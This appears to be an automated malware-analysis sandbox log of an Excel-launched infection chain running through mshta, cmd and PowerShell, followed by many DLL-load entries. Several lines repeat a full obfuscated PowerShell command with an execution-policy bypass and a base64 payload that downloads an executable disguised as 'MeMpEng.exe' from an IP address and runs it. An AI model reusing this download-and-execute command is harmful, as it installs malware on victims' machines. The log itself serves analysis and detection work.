Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\MeMpEng.exe "C:\Users\user\AppData\Roaming\MeMpEng.exe"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF3D2.tmp" "c:\Users\user\AppData\Local\Temp\4xnxdpzb\CSC1523D407DAC44B3A2AFF355F7A37C79.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\MeMpEng.exe "C:\Users\user\AppData\Roaming\MeMpEng.exe"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\MeMpEng.exe "C:\Users\user\AppData\Roaming\MeMpEng.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA15F.tmp" "c:\Users\user\AppData\Local\Temp\nxtolslo\CSCFB69AE6B65A0404EAF48BF1216DF885C.TMP" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4xnxdpzb\4xnxdpzb.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\MeMpEng.exe "C:\Users\user\AppData\Roaming\MeMpEng.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF3D2.tmp" "c:\Users\user\AppData\Local\Temp\4xnxdpzb\CSC1523D407DAC44B3A2AFF355F7A37C79.TMP" Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: winbrand.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll
